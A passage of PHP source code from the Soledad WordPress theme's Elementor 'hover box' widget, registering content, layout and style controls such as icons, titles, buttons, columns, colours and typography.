		$repeater->start_controls_tabs( 'items_tabs_controls' );

		$repeater->start_controls_tab(
			'tab_item_content',
			[
				'label' => esc_html__( 'Content', 'soledad' ),
			]
		);

		$repeater->add_control(
			'selected_icon',
			[
				'label'       => esc_html__( 'Icon', 'soledad' ),
				'type'        => Controls_Manager::ICONS,
				'default'     => [
					'value'   => 'fas fa-star',
					'library' => 'fa-solid',
				],
				'skin'        => 'inline',
				'label_block' => false
			]
		);

		$repeater->add_control(
			'hover_box_title',
			[
				'label'       => esc_html__( 'Title', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'dynamic'     => [ 'active' => true ],
				'default'     => esc_html__( 'Tab Title', 'soledad' ),
				'label_block' => true,
			]
		);

		$repeater->add_control(
			'hover_box_sub_title',
			[
				'label'       => esc_html__( 'Sub Title', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'dynamic'     => [ 'active' => true ],
				'label_block' => true,
			]
		);

		$repeater->add_control(
			'hover_box_button',
			[
				'label'       => esc_html__( 'Button Text', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'default'     => esc_html__( 'Read More', 'soledad' ),
				'label_block' => true,
				'dynamic'     => [ 'active' => true ],
			]
		);

		$repeater->add_control(
			'button_link',
			[
				'label'     => esc_html__( 'Button Link', 'soledad' ),
				'type'      => Controls_Manager::URL,
				'dynamic'   => [ 'active' => true ],
				'default'   => [ 'url' => '#' ],
				'condition' => [
					'hover_box_button!' => ''
				]
			]
		);

		$repeater->add_control(
			'slide_image',
			[
				'label'   => esc_html__( 'Background Image', 'soledad' ),
				'type'    => Controls_Manager::MEDIA,
				'dynamic' => [ 'active' => true ],
				'default' => [
					'url' => Utils::get_placeholder_image_src(),
				],
			]
		);

		$repeater->end_controls_tab();

		$repeater->start_controls_tab(
			'tab_item_content_optional',
			[
				'label' => esc_html__( 'Optional', 'soledad' ),
			]
		);

		$repeater->add_control(
			'title_link',
			[
				'label'         => esc_html__( 'Title Link', 'soledad' ),
				'type'          => Controls_Manager::URL,
				'default'       => [ 'url' => '' ],
				'show_external' => false,
				'dynamic'       => [ 'active' => true ],
				'condition'     => [
					'hover_box_title!' => ''
				]
			]
		);

		$repeater->add_control(
			'hover_box_content',
			[

				'type'    => Controls_Manager::WYSIWYG,
				'dynamic' => [ 'active' => true ],
				'default' => esc_html__( 'Box Content', 'soledad' ),
			]
		);

		$repeater->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'           => 'hover_box_content_background',
				'types'          => [ 'classic', 'gradient' ],
				'exclude'        => [ 'image' ],
				'selector'       => '{{WRAPPER}} .penci-hover-box-content {{CURRENT_ITEM}}',
				'fields_options' => [
					'background' => [
						'label' => esc_html__( 'Background Type', 'soledad' ),
					],
				],
				'separator'      => 'before',
			]
		);
		$repeater->add_control(
			'ignore_element_notes',
			[
				'type'            => Controls_Manager::RAW_HTML,
				'raw'             => esc_html__( 'Note: This option will work if the background image is empty.', 'soledad' ),
				'content_classes' => 'elementor-panel-alert elementor-panel-alert-info',

			]
		);

		$repeater->end_controls_tab();

		$repeater->end_controls_tabs();

		$this->add_control(
			'hover_box',
			[
				'label'       => esc_html__( 'Items', 'soledad' ),
				'type'        => Controls_Manager::REPEATER,
				'fields'      => $repeater->get_controls(),
				'separator'   => 'before',
				'default'     => [
					[
						'hover_box_sub_title' => esc_html__( 'This is label', 'soledad' ),
						'hover_box_title'     => esc_html__( 'Hover Box One', 'soledad' ),
						'hover_box_content'   => esc_html__( 'Lorem ipsum dolor sit amet consect voluptate repell endus kilo gram magni illo ea animi.', 'soledad' ),
						'selected_icon'       => [ 'value' => 'far fa-laugh', 'library' => 'fa-regular' ],
						'slide_image'         => [ 'url' => Utils::get_placeholder_image_src() ]
					],
					[
						'hover_box_sub_title' => esc_html__( 'This is label', 'soledad' ),
						'hover_box_title'     => esc_html__( 'Hover Box Two', 'soledad' ),
						'hover_box_content'   => esc_html__( 'Lorem ipsum dolor sit amet consect voluptate repell endus kilo gram magni illo ea animi.', 'soledad' ),
						'selected_icon'       => [ 'value' => 'fas fa-cog', 'library' => 'fa-solid' ],
						'slide_image'         => [ 'url' => Utils::get_placeholder_image_src() ]
					],
					[
						'hover_box_sub_title' => esc_html__( 'This is label', 'soledad' ),
						'hover_box_title'     => esc_html__( 'Hover Box Three', 'soledad' ),
						'hover_box_content'   => esc_html__( 'Lorem ipsum dolor sit amet consect voluptate repell endus kilo gram magni illo ea animi.', 'soledad' ),
						'selected_icon'       => [ 'value' => 'fas fa-dice-d6', 'library' => 'fa-solid' ],
						'slide_image'         => [ 'url' => Utils::get_placeholder_image_src() ]
					],
					[
						'hover_box_sub_title' => esc_html__( 'This is label', 'soledad' ),
						'hover_box_title'     => esc_html__( 'Hover Box Four', 'soledad' ),
						'hover_box_content'   => esc_html__( 'Lorem ipsum dolor sit amet consect voluptate repell endus kilo gram magni illo ea animi.', 'soledad' ),
						'selected_icon'       => [ 'value' => 'fas fa-ring', 'library' => 'fa-solid' ],
						'slide_image'         => [ 'url' => Utils::get_placeholder_image_src() ]
					],
					[
						'hover_box_sub_title' => esc_html__( 'This is label', 'soledad' ),
						'hover_box_title'     => esc_html__( 'Hover Box Five', 'soledad' ),
						'hover_box_content'   => esc_html__( 'Lorem ipsum dolor sit amet consect voluptate repell endus kilo gram magni illo ea animi.', 'soledad' ),
						'selected_icon'       => [ 'value' => 'fas fa-adjust', 'library' => 'fa-solid' ],
						'slide_image'         => [ 'url' => Utils::get_placeholder_image_src() ]
					],
					[
						'hover_box_sub_title' => esc_html__( 'This is label', 'soledad' ),
						'hover_box_title'     => esc_html__( 'Hover Box Six', 'soledad' ),
						'hover_box_content'   => esc_html__( 'Lorem ipsum dolor sit amet consect voluptate repell endus kilo gram magni illo ea animi.', 'soledad' ),
						'selected_icon'       => [ 'value' => 'fas fa-cog', 'library' => 'fa-solid' ],
						'slide_image'         => [ 'url' => Utils::get_placeholder_image_src() ]
					],
				],
				'title_field' => '{{{ elementor.helpers.renderIcon( this, selected_icon, {}, "i", "panel" ) }}} {{{ hover_box_title }}}',
			]
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'section_layout_hover_box',
			[
				'label' => esc_html__( 'General Settings', 'soledad' ),
				'tab'   => Controls_Manager::TAB_CONTENT,
			]
		);

		$this->add_responsive_control(
			'hover_box_min_height',
			[
				'label'     => esc_html__( 'Height', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 100,
						'max' => 20000,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box' => 'height: {{SIZE}}{{UNIT}};',
				],
				'condition' => [
					'_skin!' => 'penci-hvb-envelope',
				]
			]
		);

		$this->add_responsive_control(
			'skin_hover_box_min_height',
			[
				'label'     => esc_html__( 'Height', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 100,
						'max' => 20000,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box, {{WRAPPER}} .penci-hover-box-item' => 'height: {{SIZE}}{{UNIT}};',
				],
				'condition' => [
					'_skin' => 'penci-hvb-envelope',
				]
			]
		);

		$this->add_responsive_control(
			'hover_box_width',
			[
				'label'     => esc_html__( 'Content Width', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'range'     => [
					'px' => [
						'min' => 100,
						'max' => 1200,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item-wrap' => 'width: {{SIZE}}{{UNIT}};',
				],
				'condition' => [
					'_skin!' => 'penci-hvb-envelope',
				]
			]
		);

		$this->add_control(
			'default_content_position',
			[
				'label'     => esc_html__( 'Content Position', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'center',
				'options'   => [
					''              => esc_html__( 'Default', 'soledad' ),
					'top-left'      => esc_html__( 'Top Left', 'soledad' ),
					'top-center'    => esc_html__( 'Top Center', 'soledad' ),
					'top-right'     => esc_html__( 'Top Right', 'soledad' ),
					'center'        => esc_html__( 'Center', 'soledad' ),
					'center-left'   => esc_html__( 'Center Left', 'soledad' ),
					'center-right'  => esc_html__( 'Center Right', 'soledad' ),
					'bottom-left'   => esc_html__( 'Bottom Left', 'soledad' ),
					'bottom-center' => esc_html__( 'Bottom Center', 'soledad' ),
					'bottom-right'  => esc_html__( 'Bottom Right', 'soledad' ),
				],
				'condition' => [
					'_skin!' => 'penci-hvb-envelope',
				],
				'separator' => 'before'
			]
		);

		$this->add_control(
			'content_gap',
			[
				'label'     => esc_html__( 'Content Gap', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'medium',
				'options'   => [
					'small'  => esc_html__( 'Small', 'soledad' ),
					'medium' => esc_html__( 'Medium', 'soledad' ),
					'large'  => esc_html__( 'Large', 'soledad' ),
				],
				'condition' => [
					'_skin!' => 'penci-hvb-envelope',
				]
			]
		);

		$this->add_responsive_control(
			'columns',
			[
				'label'          => esc_html__( 'Columns', 'soledad' ),
				'type'           => Controls_Manager::SELECT,
				'default'        => '3',
				'tablet_default' => '2',
				'mobile_default' => '2',
				'options'        => [
					'1' => '1',
					'2' => '2',
					'3' => '3',
					'4' => '4',
					'5' => '5',
					'6' => '6',
				],
				'condition' => [
					'_skin' => '',
				],
				'separator'      => 'before',
				'selectors'      => [
					'{{WRAPPER}} .penci-hover-box-grid' => '--columns: {{VALUE}}',
				],
			]
		);
		
		$this->add_responsive_control(
			'ct_columns',
			[
				'label'          => esc_html__( 'Columns', 'soledad' ),
				'type'           => Controls_Manager::SLIDER,
				'condition' => [
					'_skin' => 'penci-hvb-envelope',
				],
				'range'     => [
					'px' => [
						'min' => 1,
						'max' => 6,
					],
				],
				'default'        => [
					'size' => 4,
				],
			]
		);

		$this->add_control(
			'content_position',
			[
				'label'     => esc_html__( 'Position', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'bottom',
				'options'   => [
					'top'    => 'Top',
					'center' => 'Center',
					'bottom' => 'Bottom',
				],
				'condition' => [
					'_skin' => 'penci-hvb-envelope',
				]
			]
		);

		$this->add_responsive_control(
			'column_gap',
			[
				'label'      => esc_html__( 'Gap', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'size_units' => [ 'px', '%' ],
				'range'      => [
					'px' => [
						'min' => 0,
						'max' => 100,
					],
					'%'  => [
						'min' => 0,
						'max' => 100,
					],
				],
				'selectors'  => [
					'{{WRAPPER}} .penci-hover-box-grid' => '--gap: -{{SIZE}}{{UNIT}}',
				],
				'condition'  => [
					'_skin' => '',
				]
			]
		);

		$this->add_control(
			'hover_box_event',
			[
				'label'     => esc_html__( 'Select Event ', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'mouseover',
				'options'   => [
					'click'     => esc_html__( 'Click', 'soledad' ),
					'mouseover' => esc_html__( 'Hover', 'soledad' ),
				],
				'separator' => 'before'
			]
		);

		$this->add_control(
			'hover_box_active_item',
			[
				'label'       => esc_html__( 'Active Item', 'soledad' ),
				'description' => esc_html__( 'Set default item by inserting the item\'s numeric position (i.e. 1 or 2 or 3 or ...) The numeric position reads from the top-left corner as 1st and continues to the right side.', 'soledad' ),
				'type'        => Controls_Manager::TEXT,
				'default'     => '1',
			]
		);

		$this->add_group_control(
			Group_Control_Image_Size::get_type(),
			[
				'name'    => 'thumbnail_size',
				'label'   => esc_html__( 'Image Size', 'soledad' ),
				'exclude' => [ 'custom' ],
				'default' => 'full',
			]
		);

		$this->add_responsive_control(
			'tabs_content_align',
			[
				'label'     => esc_html__( 'Alignment', 'soledad' ),
				'type'      => Controls_Manager::CHOOSE,
				'options'   => [
					'left'    => [
						'title' => esc_html__( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					],
					'center'  => [
						'title' => esc_html__( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					],
					'right'   => [
						'title' => esc_html__( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					],
					'justify' => [
						'title' => esc_html__( 'Justified', 'soledad' ),
						'icon'  => 'eicon-text-align-justify',
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item' => 'text-align: {{VALUE}};',
					'{{WRAPPER}} .pchvb-meta .pcbg-meta-desc' => 'justify-content: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'show_title',
			[
				'label'     => esc_html__( 'Show Title', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'yes',
				'separator' => 'before'
			]
		);

		$this->add_control(
			'title_tags',
			[
				'label'     => esc_html__( 'Title HTML Tag', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'h2',
				'options'   => [
					'h1'   => 'H1',
					'h2'   => 'H2',
					'h3'   => 'H3',
					'h4'   => 'H4',
					'h5'   => 'H5',
					'h6'   => 'H6',
					'div'  => 'div',
					'span' => 'span',
					'p'    => 'p',
				],
				'condition' => [
					'show_title' => 'yes'
				]
			]
		);

		$this->add_control(
			'show_icon',
			[
				'label'     => esc_html__( 'Show Icon', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default'   => 'yes',
				'separator' => 'before'
			]
		);

		$this->add_control(
			'show_sub_title',
			[
				'label'   => esc_html__( 'Show Sub Title', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
				'condition' => [
					'item_type' => 'custom'
				],
			]
		);
		
		$this->add_control(
			'show_post_meta',
			[
				'label'   => esc_html__( 'Show Post Meta', 'soledad' ),
				'type'    => Controls_Manager::SWITCHER,
				'default' => 'yes',
				'condition' => [
					'item_type' => 'query'
				],
			]
		);

		$this->add_control( 'postmeta', array(
			'label'     => __( 'Showing Post Data', 'soledad' ),
			'type'      => Controls_Manager::SELECT2,
			'default'   => array( 'cat', 'title', 'author', 'date' ),
			'multiple'  => true,
			'options'   => array(
				'cat'     => esc_html__( 'Categories', 'soledad' ),
				'author'  => esc_html__( 'Author', 'soledad' ),
				'date'    => esc_html__( 'Date', 'soledad' ),
				'comment' => esc_html__( 'Comments', 'soledad' ),
				'views'   => esc_html__( 'Views', 'soledad' ),
				'reading' => esc_html__( 'Reading Time', 'soledad' ),
			),
			'condition' => array( 
				'show_post_meta' => 'yes',
				'item_type' => 'query' 
			),
		) );

		$this->add_control(
			'primary_cat',
			[
				'label'     => esc_html__( 'Show Primary Category', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'condition' => [
					'show_post_meta' => 'yes',
					'item_type'      => 'query',
				],
			]
		);
		
		$this->add_control(
			'show_content',
			[
				'label'     => esc_html__( 'Show Text/Post Excerpt', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'separator' => 'before'
			]
		);

		$this->add_control( 'post_content_length', array(
			'label'     => __( 'Custom Post Excerpt Words Length', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'min'       => 1,
			'max'       => 100,
			'step'      => 1,
			'default'   => 20,
			'condition' => array( 
				'show_content' 	=> 'yes',
				'item_type' 	=> 'query'
			),
		) );

		$this->add_control(
			'text_hide_on',
			[
				'label'              => esc_html__( 'Text Hide On', 'soledad' ),
				'type'               => Controls_Manager::SELECT2,
				'multiple'           => true,
				'label_block'        => false,
				'options'            => [
					'desktop' => esc_html__( 'Desktop', 'soledad' ),
					'tablet'  => esc_html__( 'Tablet', 'soledad' ),
					'mobile'  => esc_html__( 'Mobile', 'soledad' ),
				],
				'frontend_available' => true,
				'condition'          => [
					'item_type'    => 'custom',
					'show_content' => 'yes'
				]
			]
		);

		$this->add_control(
			'show_button',
			[
				'label'     => esc_html__( 'Show Button/Read More Button', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'separator' => 'before'
			]
		);

		$this->add_control(
			'box_image_effect',
			[
				'label'     => esc_html__( 'Image Effect?', 'soledad' ),
				'type'      => Controls_Manager::SWITCHER,
				'default' 	=> 'yes',
			]
		);

		$this->add_control(
			'box_image_effect_select',
			[
				'label'     => esc_html__( 'Effect', 'soledad' ),
				'type'      => Controls_Manager::SELECT,
				'default'   => 'effect-1',
				'options'   => [
					'effect-1' => 'Style 1',
					'effect-2' => 'Style 2',
					'effect-3' => 'Style 3',
				],
				'condition' => [
					'box_image_effect' => 'yes'
				]
			]
		);

		$this->end_controls_section();

		$this->register_block_title_section_controls();

		//Style
		$this->start_controls_section(
			'section_hover_box_style',
			[
				'label' => esc_html__( 'Hover Box', 'soledad' ),
				'tab'   => Controls_Manager::TAB_STYLE,
			]
		);

		$this->add_control(
			'hover_box_overlay_color',
			[
				'label'     => esc_html__( 'Overlay Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box:before' => 'background: {{VALUE}};',
				],
			]
		);

		$this->add_responsive_control(
			'hover_box_divider_size',
			[
				'label'      => esc_html__( 'Divider Size', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'size_units' => [ 'px' ],
				'range'      => [
					'px' => [
						'min' => 1,
						'max' => 10,
					],
				],
				'selectors'  => [
					'{{WRAPPER}} .penci-hover-box-skin-envelope .penci-hover-box-item-wrap>.penci-hvb-active:before' => 'width: {{SIZE}}{{UNIT}}; left: calc(-{{SIZE}}{{UNIT}} / 2);',
				],
				'condition'  => [
					'_skin' => 'penci-hvb-envelope'
				]
			]
		);

		$this->add_control(
			'hover_box_divider_color',
			[
				'label'     => esc_html__( 'Divider Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-skin-envelope .penci-hover-box-item-wrap>.penci-hvb-active:before' => 'background: {{VALUE}};',
				],
				'condition' => [
					'_skin' => 'penci-hvb-envelope'
				]
			]
		);

		$this->add_control(
			'box_item_heading',
			[
				'label'     => esc_html__( 'Item', 'soledad' ),
				'type'      => Controls_Manager::HEADING,
				'separator' => 'before',
			]
		);

		$this->start_controls_tabs( 'box_item_style' );

		$this->start_controls_tab(
			'box_item_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'box_item_background',
				'selector' => '{{WRAPPER}} .penci-hover-box-item',
			]
		);

		$this->add_responsive_control(
			'box_item_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-hover-box-default .penci-hover-box-item, {{WRAPPER}} .penci-hover-box-skin-envelope .penci-hover-box-description, {{WRAPPER}} .penci-hover-box-skin-flexure .penci-hover-box-item' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				]
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'     => 'box_item_border',
				'selector' => '{{WRAPPER}} .penci-hover-box .penci-hover-box-item',
			]
		);

		$this->add_responsive_control(
			'box_item_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-hover-box-item' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}}; overflow: hidden;',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'box_item_shadow',
				'selector' => '{{WRAPPER}} .penci-hover-box-item'
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'box_item_hover',
			[
				'label' => esc_html__( 'hover', 'soledad' ),
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'box_item_hover_background',
				'selector' => '{{WRAPPER}} .penci-hover-box-item:hover',
			]
		);

		$this->add_control(
			'box_item_hover_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item:hover' => 'border-color: {{VALUE}};',
				],
				'condition' => [
					'box_item_border_border!' => '',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'box_item_hover_shadow',
				'selector' => '{{WRAPPER}} .penci-hover-box-item:hover',
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'box_item_active',
			[
				'label' => esc_html__( 'Active', 'soledad' ),
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'     => 'box_item_active_background',
				'selector' => '{{WRAPPER}} .penci-hover-box-item.active',
			]
		);

		$this->add_control(
			'box_item_active_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item.active' => 'border-color: {{VALUE}};',
				],
				'condition' => [
					'box_item_border_border!' => '',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'box_item_active_shadow',
				'selector' => '{{WRAPPER}} .penci-hover-box-item.active',
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_icon_box',
			[
				'label'     => esc_html__( 'Icon', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_icon' => 'yes',
				]
			]
		);

		$this->start_controls_tabs( 'icon_colors' );

		$this->start_controls_tab(
			'icon_colors_normal',
			[
				'label' => esc_html__( 'Normal', 'soledad' ),
			]
		);

		$this->add_control(
			'icon_color',
			[
				'label'     => esc_html__( 'Icon Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-icon-wrap'     => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-hover-box-icon-wrap svg' => 'fill: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'           => 'icon_background',
				'selector'       => '{{WRAPPER}} .penci-hover-box-icon-wrap',
				'fields_options' => [
					'background' => [
						'label' => esc_html__( 'Background Type', 'soledad' ),
					],
				],
			]
		);

		$this->add_responsive_control(
			'icon_size',
			[
				'label'      => esc_html__( 'Icon Size', 'soledad' ),
				'type'       => Controls_Manager::SLIDER,
				'size_units' => [ 'px', 'em', 'vh', 'vw' ],
				'range'      => [
					'px' => [
						'min' => 6,
						'max' => 300,
					],
				],
				'selectors'  => [
					'{{WRAPPER}} .penci-hover-box-icon-wrap' => 'font-size: {{SIZE}}{{UNIT}};',
				],
				'separator'  => 'before',
			]
		);

		$this->add_control(
			'rotate',
			[
				'label'     => esc_html__( 'Rotate', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [
					'size' => 0,
					'unit' => 'deg',
				],
				'range'     => [
					'deg' => [
						'max' => 360,
						'min' => - 360,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-icon-wrap i, {{WRAPPER}} .penci-hover-box-icon-wrap svg' => 'transform: rotate({{SIZE}}{{UNIT}});',
				],
			]
		);

		$this->add_responsive_control(
			'icon_spacing',
			[
				'label'     => esc_html__( 'Spacing', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-icon-wrap  ' => 'margin-bottom: {{SIZE}}{{UNIT}}',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Box_Shadow::get_type(),
			[
				'name'     => 'icon_box_shadow',
				'selector' => '{{WRAPPER}} .penci-hover-box-icon-wrap',
			]
		);

		$this->add_group_control(
			Group_Control_Border::get_type(),
			[
				'name'      => 'icon_border',
				'label'     => esc_html__( 'Border', 'soledad' ),
				'selector'  => '{{WRAPPER}} .penci-hover-box-icon-wrap',
				'separator' => 'before',
			]
		);

		$this->add_control(
			'icon_border_radius',
			[
				'label'      => esc_html__( 'Border Radius', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-hover-box-icon-wrap' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
			]
		);

		$this->add_responsive_control(
			'icon_padding',
			[
				'label'      => esc_html__( 'Padding', 'soledad' ),
				'type'       => Controls_Manager::DIMENSIONS,
				'size_units' => [ 'px', 'em', '%' ],
				'selectors'  => [
					'{{WRAPPER}} .penci-hover-box-icon-wrap' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				],
				'separator'  => 'before',
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'icon_hover',
			[
				'label' => esc_html__( 'Hover', 'soledad' ),
			]
		);

		$this->add_control(
			'icon_hover_color',
			[
				'label'     => esc_html__( 'Icon Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item:hover .penci-hover-box-icon-wrap'     => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-hover-box-item:hover .penci-hover-box-icon-wrap svg' => 'fill: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'           => 'icon_button_hover_background',
				'selector'       => '{{WRAPPER}} .penci-hover-box-item:hover .penci-hover-box-icon-wrap',
				'fields_options' => [
					'background' => [
						'label' => esc_html__( 'Background Type', 'soledad' ),
					],
				],
			]
		);

		$this->add_control(
			'icon_button_hover_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [
					'button_border_border!' => '',
				],
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item:hover .penci-hover-box-icon-wrap' => 'border-color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'icon_hover_rotate',
			[
				'label'     => esc_html__( 'Rotate', 'soledad' ),
				'type'      => Controls_Manager::SLIDER,
				'default'   => [
					'unit' => 'deg',
					'size' => 90
				],
				'range'     => [
					'deg' => [
						'max' => 360,
						'min' => - 360,
					],
				],
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item:hover .penci-hover-box-icon-wrap i, {{WRAPPER}} .penci-hover-box-item:hover .penci-hover-box-icon-wrap svg' => 'transform: rotate({{SIZE}}{{UNIT}});',
				],
			]
		);

		$this->end_controls_tab();

		$this->start_controls_tab(
			'icon_active',
			[
				'label' => esc_html__( 'Active', 'soledad' ),
			]
		);

		$this->add_control(
			'icon_active_color',
			[
				'label'     => esc_html__( 'Icon Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item.active .penci-hover-box-icon-wrap'     => 'color: {{VALUE}};',
					'{{WRAPPER}} .penci-hover-box-item.active .penci-hover-box-icon-wrap svg' => 'fill: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Background::get_type(),
			[
				'name'           => 'icon_button_active_background_color',
				'selector'       => '{{WRAPPER}} .penci-hover-box-item.active .penci-hover-box-icon-wrap',
				'fields_options' => [
					'background' => [
						'label' => esc_html__( 'Background Type', 'soledad' ),
					],
				],
			]
		);

		$this->add_control(
			'icon_button_active_border_color',
			[
				'label'     => esc_html__( 'Border Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'condition' => [
					'button_border_border!' => '',
				],
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item.active .penci-hover-box-icon-wrap' => 'border-color: {{VALUE}};',
				],
			]
		);

		$this->end_controls_tab();

		$this->end_controls_tabs();

		$this->end_controls_section();

		$this->start_controls_section(
			'section_style_title',
			[
				'label'     => esc_html__( 'Title', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_title' => [ 'yes' ],
				],
			]
		);

		$this->add_control(
			'title_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-title, {{WRAPPER}} .penci-hover-box-title a' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'title_hover_color',
			[
				'label'     => esc_html__( 'Hover Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item:hover .penci-hover-box-title, {{WRAPPER}} .penci-hover-box-item:hover .penci-hover-box-title a' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_control(
			'title_active_color',
			[
				'label'     => esc_html__( 'Active Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
					'{{WRAPPER}} .penci-hover-box-item.active .penci-hover-box-title, {{WRAPPER}} .penci-hover-box-item.active .penci-hover-box-title a' => 'color: {{VALUE}};',
				],
			]
		);

		$this->add_group_control(
			Group_Control_Typography::get_type(),
			[
				'name'     => 'title_typography',
				'label'    => esc_html__( 'Typography', 'soledad' ),
				'selector' => '{{WRAPPER}} .penci-hover-box-title, {{WRAPPER}} .penci-hover-box-title a',
			]
		);

		$this->end_controls_section();
		
		$this->start_controls_section(
			'section_style_post_meta',
			[
				'label'     => esc_html__( 'Post Meta', 'soledad' ),
				'tab'       => Controls_Manager::TAB_STYLE,
				'condition' => [
					'show_post_meta' => [ 'yes' ],
				],
			]
		);

		$this->add_control(
			'post_meta_color',
			[
				'label'     => esc_html__( 'Color', 'soledad' ),
				'type'      => Controls_Manager::COLOR,
				'selectors' => [
